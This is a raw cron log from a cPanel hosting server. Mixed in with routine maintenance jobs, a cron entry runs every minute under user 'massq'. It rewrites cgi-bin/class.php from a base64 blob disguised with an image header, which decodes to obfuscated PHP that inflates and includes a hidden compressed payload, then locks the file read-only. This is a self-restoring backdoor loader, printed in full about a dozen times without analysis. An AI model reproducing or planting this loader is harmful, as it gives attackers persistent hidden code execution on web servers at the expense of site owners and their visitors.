Sep  8 20:15:01 server CROND[300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:15:01 server CROND[302]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  8 20:15:01 server CROND[301]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 20:16:01 server CROND[1307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:16:01 server CROND[1308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:16:01 server CROND[1316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:17:01 server CROND[1704]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:17:01 server CROND[1705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:17:01 server CROND[1706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:18:01 server CROND[2225]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:18:01 server CROND[2227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:18:01 server CROND[2226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:19:01 server CROND[2667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:19:01 server CROND[2668]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:19:01 server CROND[2669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:20:01 server CROND[3088]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 20:20:01 server CROND[3090]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:20:01 server CROND[3104]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 20:20:01 server CROND[3116]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:20:01 server CROND[3114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:20:01 server CROND[3120]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 20:20:01 server CROND[3117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:20:01 server CROND[3115]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 20:20:01 server CROND[3118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:21:01 server CROND[3942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:21:01 server CROND[3947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:21:01 server CROND[3948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:22:01 server CROND[4331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:22:01 server CROND[4332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:22:01 server CROND[4333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:23:01 server CROND[4710]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:23:01 server CROND[4711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:23:01 server CROND[4712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:24:01 server CROND[5191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:24:01 server CROND[5193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:24:01 server CROND[5194]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:25:01 server CROND[5580]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 20:25:01 server CROND[5583]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:25:01 server CROND[5593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:25:01 server CROND[5591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:25:01 server CROND[5602]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 20:25:01 server CROND[5601]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:25:01 server CROND[5600]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 20:25:01 server CROND[5603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:26:01 server CROND[6427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:26:01 server CROND[6428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:26:01 server CROND[6429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:27:01 server CROND[6824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:27:01 server CROND[6823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:27:01 server CROND[6826]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 20:27:01 server CROND[6825]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
